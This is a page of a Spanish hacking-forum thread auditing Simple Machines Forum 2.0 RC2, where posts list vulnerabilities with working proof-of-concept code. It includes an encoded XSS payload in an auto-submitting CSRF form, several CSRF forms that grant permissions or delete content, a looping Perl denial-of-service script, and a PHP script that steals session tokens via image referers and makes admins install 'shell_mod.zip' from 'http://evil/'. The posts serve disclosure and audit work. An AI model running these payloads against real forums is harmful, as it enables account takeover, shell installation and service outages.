elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Auditoría de seguridad hacia Simple Machines Forum 2.0
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 [4] 5 Ir Abajo Respuesta Imprimir
Autor Tema: Auditoría de seguridad hacia Simple Machines Forum 2.0  (Leído 55,080 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
XSS en el administrador de paquetes
« Respuesta #30 en: 30 Noviembre 2009, 21:32 pm »

Detalles
Descripción:XSS en el administrador de paquetes
Descubierto por:cicatriz.r00t@gmail.com
Código vulnerable:Sources/Packages.php:1384
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2


Descripción

Este ataque de Cross-Site Scripting sucede cuando especificamos como FTP
Server ("pack_server" input) algo como:
Código
  1. "/onmouseover="alert(0);

Este problema reside en la linea 1384 del archivo Sources/Packages.php
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1384

Aunque tambien se puede ver en otras variables:
Código
  1. +++Packages.php @@ 1381:1388
  2.  1381 if (isset($_POST['submit']))
  3.  1382 {
  4.  1383 updateSettings(array(
  5.  1384 'package_server' => $_POST['pack_server'],
  6.  1385 'package_port' => $_POST['pack_port'],
  7.  1386 'package_username' => $_POST['pack_user'],
  8.  1387 'package_make_backups' => !empty($_POST['package_make_backups'])
  9.  1388 ));
  10. ---Packages.php

Esto se puede hacer automáticamente mediante CSRF, que aunque tiene un token el
formulario original no es checkeado.

Entonces el código seria simple:
Código
  1. <body onload="document.forms[0].elements[4].click();">
  2. <form accept-charset="UTF-8" method="post"
  3. action="/index.php?action=admin;area=packages;sa=options">
  4. <input type="text" size="30"
  5. value="&#38;#34;&#38;#62;&#38;#60;&#38;#105;&#38;#102;&#38;#114;&#38;#97;&#38;#109;&#38;#101;&#38;#47;&#38;#115;&#38;#114;&#38;#99;&#38;#61;&#38;#34;&#38;#106;&#38;#97;&#38;#118;&#38;#97;&#38;#115;&#38;#99;&#38;#114;&#38;#105;&#38;#112;&#38;#116;&#38;#58;&#38;#97;&#38;#108;&#38;#101;&#38;#114;&#38;#116;&#38;#40;&#38;#48;&#38;#41;&#38;#34;&#38;#62;"
  6. id="pack_server" name="pack_server"/>
  7. <input type="text" value="" size="3" id="pack_port" name="pack_port"/>
  8. <input type="text" size="30" value="" id="pack_user" name="pack_user"/>
  9. <input type="checkbox" checked="checked" class="check" value="1"
  10. id="package_make_backups" name="package_make_backups"/>
  11. <input type="submit" value="Save" name="submit"/>
  12. </form>
  13. </body>

Solo con que se cumpla el if() se alojan las variables:
Citar
 1381      if (isset($_POST['submit']))

El ataque XSS también se ejecuta en la sección de "File Permissions".
« Última modificación: 2 Diciembre 2009, 03:54 am por WHK » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
CSRF en la union de temas
« Respuesta #31 en: 30 Noviembre 2009, 21:51 pm »

Detalles
Descripción:CSRF en la union de temas
Descubierto por:ysk.sft@gmail.com
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2


Descripción

Este CSRF permite obligar a algún moderador o cualquiera con el poder de
unir 2 topics a unirlos.

Dejo un ejemplo de un html que obliga a unir el topic 1 con el topic 4 .

Código
  1. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
  2.    $(document).ready(function(){
  3.      $("#id_formulario").submit();
  4.    });
  5. <form id="id_formulario" action="http://localhost/foro2/index.php?action=mergetopics;sa=execute" method = "POST" target = "asdf" >
  6. <input name="topics[]" value="1" />
  7. <input name="notifications[]" value="1" />
  8. <input name="topics[]" value="4" />
  9. <input name="notifications[]" value="4" />
  10. <input name="subject" value="0" />
  11. <input name="custom_subject" value="Nuevo titulo" />
  12. <input name="enforce_subject" value="1" />
  13. <input name="sa" value="execute" />
  14. </form>
  15.  
  16. <iframe name="asdf" id="asdf" src="/ruta/archivo.html"></iframe>
« Última modificación: 2 Diciembre 2009, 03:54 am por WHK » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
CSRF dar permisos a los usuarios normales para modificar permisos del foro
« Respuesta #32 en: 30 Noviembre 2009, 21:55 pm »

Detalles
Descripción:CSRF permite darle permisos a los usuarios normales para modificar permisos del foro
Descubierto por:ysk.sft@gmail.com
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2


Descripción

Este CSRF permitiria solo haciendo que el administrador visite una web de
nosotros con su sesion de su foro abierta hacer que le de permisos a los
usuarios normales para cambiar los permisos de los grupos como por ejemplo
los moderadores globales .

El error fue probado en SMF 2.0 RC2 ;)

Ejemplo de un HTML que cambiaria los permisos:

Código
  1. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
  2.    $(document).ready(function(){
  3.      $("#id_formulario").submit();
  4.    });
  5. <form id="id_formulario" action="http://localhost/foro2/index.php?action=admin;area=permissions;save;sa=settings" method = "POST" target = "asdf" >
  6. <input name="manage_permissions[0]" value="on" />
  7. <input name="manage_permissions[2]" value="off" />
  8. <input name="manage_permissions[4]" value="off" />
  9. <input name="manage_permissions[5]" value="off" />
  10. <input name="manage_permissions[6]" value="off" />
  11. <input name="manage_permissions[7]" value="off" />
  12. <input name="manage_permissions[8]" value="off" />
  13. <input name="permission_enable_deny" value="1" />
  14. <input name="permission_enable_postgroups" value="1" />
  15. </form>
  16. <iframe name="asdf" id="asdf" src="/ruta/archivo.html"></iframe>
  17.  
« Última modificación: 2 Diciembre 2009, 03:55 am por WHK » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
CSRF permite borrar una encuesta
« Respuesta #33 en: 30 Noviembre 2009, 21:56 pm »

Detalles
Descripción:CSRF permite borrar una encuesta
Descubierto por:ysk.sft@gmail.com
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2


Descripción

Consigue borrar cualquier encuesta .
Código
  1. <form id="id_formulario"
  2. action="http://localhost/foro2/index.php?action=removepoll;topic=1.0 method = "POST"
  3. target = "asdf" >
« Última modificación: 2 Diciembre 2009, 03:55 am por WHK » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
CSRF permite elevar privilegios de usuarios normales para modificar los smileys
« Respuesta #34 en: 30 Noviembre 2009, 21:58 pm »

Detalles
Descripción:CSRF permite elevar privilegios de usuarios normales para modificar los smileys
Descubierto por:ysk.sft@gmail.com
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2


Descripción

El CSRF se encuentra en /index.php?action=admin;area=smileys;save;sa=settings
y permite hacer que los usuarios normales tengan poderes para modificar los
smileys.

Aparte de modificar los smileys tambien se puede aprovechar para ver la
ruta de los archivos algo como un path discloure en
/index.php?action=admin;area=smileys;sa=settings.

Código
  1. <form id="id_formulario"
  2. action="http://localhost/foro2/index.php?action=admin;area=smileys;save;sa=settings
  3. method = "POST" target = "asdf" style="visibility:hidden;">
  4. <input name="manage_smileys[0]" value="on" />
  5. </form>
  6.  
« Última modificación: 2 Diciembre 2009, 03:55 am por WHK » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
RSS DoS
« Respuesta #35 en: 30 Noviembre 2009, 22:02 pm »

Detalles
Descripción:RSS DoS
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/News.php:83
URL Vulnerable:N/A
PoC:$peticion = 'GET /.xml.html;sa=news;limit=999;type=rss HTTP/1.1
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2


Descripción

El bug consiste en que SMF pone como límite 256 items al momento de
visualizar el rss del foro. Si intentas visualizar las 256 entradas unas 5
veces de forma simultanea puedes hacer colapsar la base de datos y elevar
el pid a las nuves.
De todas formas este valor máximo es configurable pero por defecto viene un
valor demasiado elevado para un servidor standard compartido.

el problema se centra en el archivo Sources/News.php linea 83
Código
  1. $_GET['limit'] = empty($_GET['limit']) || (int) $_GET['limit'] < 1 ? 5 :
  2. min((int) $_GET['limit'], 255);

Aunque mas abajo si impone un límite que puedes manupular desde el panel de
administración pero estos 255 que al final se transforman en 256 van por
defecto.

Nota: si haces un fork cada 10 conexiones simultaneas terminas cosinando
huevos fritos sobre el procesador del servidor.

Prueba de concepto:
Código
  1. #!/usr/bin/perl
  2.  
  3. # Prueba de concepto realizado para testear la vulnerabilidad de
  4. # simplemachines forum 2.0 RC2 y 1.1.10.
  5. # SimpleAudit elhacker.net
  6.  
  7. use IO::Socket;
  8.  
  9. # autoflush activado
  10. $| = 1;
  11.  
  12. $host = 'foro.indeseable.ejemplo';
  13.  
  14. $peticion = 'GET /.xml.html;sa=news;limit=999;type=rss HTTP/1.1
  15. Host: '.$host.'
  16. User-Agent: PEC-Matic V1.0
  17. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  18. Connection: close
  19.  
  20. ';
  21.  
  22. print "Conectando... \n";
  23.  
  24. for(;;) {
  25. $socket = IO::Socket::INET->new(
  26.  PeerAddr => $host,
  27.  PeerPort => 80,
  28.  Proto => 'tcp',
  29.  Timeout  => 1
  30. );
  31. if($socket){
  32.  print '.';
  33.  $socket->send($peticion);
  34.  close($socket);
  35. }else{
  36.  print 'x';
  37. }
  38. }
  39.  
  40. print "\nTerminado.\n";
  41. exit(1);
« Última modificación: 2 Diciembre 2009, 03:56 am por WHK » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Robo del token de sesión
« Respuesta #36 en: 30 Noviembre 2009, 22:09 pm »

Detalles
Descripción:Robo del token de sesión
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/Post.php:815 y Themes/classic/Display.template.php:407
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2


Descripción

Esta vulnerabilidad permite el robo de tu hash que evita cualquier tipo de
ataque CSRF, esto significa que si logras obtener dicho hash podrás
realizar cualquier tipo de acción arbitraria.

Para demostrar este bug hacemos un post cualquiera en nuestro foro de
pruebas, luego vamos a ese post y le hacemos click en el botón "quote" o
"citar", en ese momento comenzarás a crear una respuesta al post con una
citación y si te das cuenta has incluido en la url tu token de seguridad y
mas abajo se incluyen los post anteriores INCLUYENDO código bbc interpretado.
Esto quiere decir que puedes realizar un post con una imagen enlazada a tu
servidor web, entonces cuando alguien haga una cita de un post que se
encuentre en la misma página de post tuyo se incluirá la visualización de
dicha imagen y quedará grabado tu token en mis logs de acceso.

Puedes crear un script automatizado que actue de imagen y si captura de
referencia algún token entonces será capturado y enviará una redireción
hacia un ataque de tipo CSRF incluyendo tu token bypaseando el sistema de
seguridad de smf.

El problema está en todos los themes de smf xD incluyendo el theme clásico
ya que lleva el token de forma nativa en el enlace l igual que todos los
themes.
Themes/classic/Display.template.php linea 407

También es en parte problema de la función que procesa el citado de post ya
que te exige por obligación dicho token y no debería pedirse
Sources/Post.php linea 815
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Post.php#815

También hay que recordar las vulnerabilidades encontradas en el cual
necesitas el token del usuario.

PoC:
Código
  1. <?php
  2.  
  3. /* Evitamos un error inesperado */
  4.  
  5. /* Imagen a visualizar */
  6. $imagen_carnada = 'http://t2.gstatic.com/images?q=tbn:MBl2gp1VvxRl2M:http://rufadas.com/wp-content/uploads/2007/04/cara-de-culo.jpg';
  7. $servidor_shell = 'http://evil/';
  8. $mod_shell = 'shell_mod.zip';
  9.  
  10. $referer = $_SERVER['HTTP_REFERER'];
  11. $referer = explode(';', $referer);
  12. /* Token formado por un hash de 32 carácteres
  13. mas un nombre de variable al azar */
  14. foreach($referer as $token){
  15. $token = explode('=', $token);
  16. if(strlen($token[0]) > 6){
  17.  if(strlen($token[1]) == 32){
  18.   $url_foro = $_SERVER['HTTP_REFERER'];
  19.   $url_foro = explode('index.php', $url_foro);
  20.   $url_foro = $url_foro[0];
  21.   /* Apostamos a un CSRF apuntando al panel de administración */
  22.   header(
  23.    'location: '.$url_foro.'index.php?action=admin;'.
  24.    'area=packages;get;sa=download;byurl;package='.
  25.    urlencode($servidor_shell).';filename='.urlencode($mod_shell).';'.
  26.    $token[0].'='.$token[1]);
  27.   exit;
  28.  }
  29. }
  30. }
  31.  
  32. /* No hay token */
  33. header('Content-Type: image/jpeg');
  34. echo file_get_contents($imagen_carnada);
  35. ?>

Nota de YST:
Citar
Este bug tambien permite que se pueda olbigar a que no puedan editar un post al
postear la imagen en el mismo topic , ya que si se usa para cerrar sesion no permite
guardar el post editado .
« Última modificación: 2 Diciembre 2009, 03:56 am por WHK » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
ReDoS en htmltrim
« Respuesta #37 en: 30 Noviembre 2009, 22:15 pm »

Detalles
Descripción:ReDoS en htmltrim
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:Sources/Load.php:198
URL Vulnerable:N/A
PoC:smfFunc['htmltrim']('x                                         y');
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2


Descripción

http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Load.php#198
smfFunc['htmltrim']('x                                         y');

deberia causar un DoS en PREG.. este puede causar problemas a futuro (como
con http://www.google.com/::((((((((((((((((((((((( )

prueben con:
Código
  1. preg_replace('~^(?:[ \t\n\r\x0B\x00]| )+|(?:[ \t\n\r\x0B\x00]|
  2. )+$~u','','x'.str_repeat(' ',15).'y');

deberia regresarles un string vacio.. hay que checar donde se usa esta
funcion para ver si podemos abusar del hecho que regrese un string vacio.

Saludos!!
« Última modificación: 2 Diciembre 2009, 03:56 am por WHK » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
DoS en el acceso al foro
« Respuesta #38 en: 30 Noviembre 2009, 22:23 pm »

Detalles
Descripción:DoS en el acceso al foro
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:Sources/QueryString.php;108 , Sources/QueryString.php:126 y Sources/QueryString.php:112
URL Vulnerable:index.php?http:// o index.php?1=1
PoC:Cookie: GLOBALS
Afecta a:‭‬SMF 2.0 RC2


Descripción

Por la siguiente linea:
Código
  1.        if (isset($_REQUEST['GLOBALS']) || isset($_COOKIE['GLOBALS']))
  2.                die('Invalid request variable.');

http://code.google.com/p/smf2-review/source/browse/trunk/Sources/QueryString.php#108

Si podemos poner una cookie llamada GLOBALS el usuario no podra entrar al
foro.. no es explotable per-se porque necesitamos una manera de poner dicha
cookie.. y si podemos poner cookies es mas facil denegar el acceso con
cookies largas, pero bueno..

Lo mismo va para parametros con numeros:
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/QueryString.php#112

Código
  1.        foreach (array_merge(array_keys($_POST), array_keys($_GET),
  2. array_keys($_FILES)) as $key)
  3.                if (is_numeric($key))
  4.                        die('Numeric request keys are invalid.');

Eso es para evitar problemas de un bug que habia en unset()..
no es tan peligroso ya pero pues..

http://tu-foro-smf/index.php?http://
wtf?
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/QueryString.php#126

si necesitan una Url que diga:
Citar
header('HTTP/1.1 400 Bad Request');

ahi la tienen, puede servir para forzar un error aveces..
« Última modificación: 2 Diciembre 2009, 03:56 am por WHK » En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
XSS en la subida de archivos
« Respuesta #39 en: 30 Noviembre 2009, 22:32 pm »

Detalles
Descripción:XSS en la subida de archivos
Descubierto por:ysk.sft@gmail.com
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2


Descripción

Al subir archivos mediante el upload de los post si uno modifica las
cabezeras para modificar el nombre del archivo y metes codigo(como <a
href='‭‬javascript:alert(0);' >test.php) , este se ejecutara cuando modificas
el post y cuando se ve por
index.php?action=profile;area=showposts;sa=attach;u=IDUSER los archivos
subidos.

Saludos.
« Última modificación: 2 Diciembre 2009, 03:57 am por WHK » En línea

Páginas: 1 2 3 [4] 5 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Auditoria de seguridad, mis comienzos...
Seguridad
Davisin 5 3,851 Último mensaje 9 Octubre 2012, 22:53 pm
por Epzylon
Auditoría de seguridad - Web Command Injection
Seguridad
MacGyver87 2 2,637 Último mensaje 29 Julio 2013, 14:37 pm
por MacGyver87
Simple Machines Forum hackeado y contraseñas de los usuarios en peligro
Foro Libre
Felix el Gato 1 2,311 Último mensaje 24 Julio 2013, 23:50 pm
por bacanzito
Hacia una evaluación eficaz de la seguridad en ICS
Noticias
r32 0 1,360 Último mensaje 4 Noviembre 2014, 18:02 pm
por r32
donde quitar el logo de simple machin forum
Dudas Generales
dark_night 1 1,823 Último mensaje 7 Abril 2016, 12:50 pm
por dark_night
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines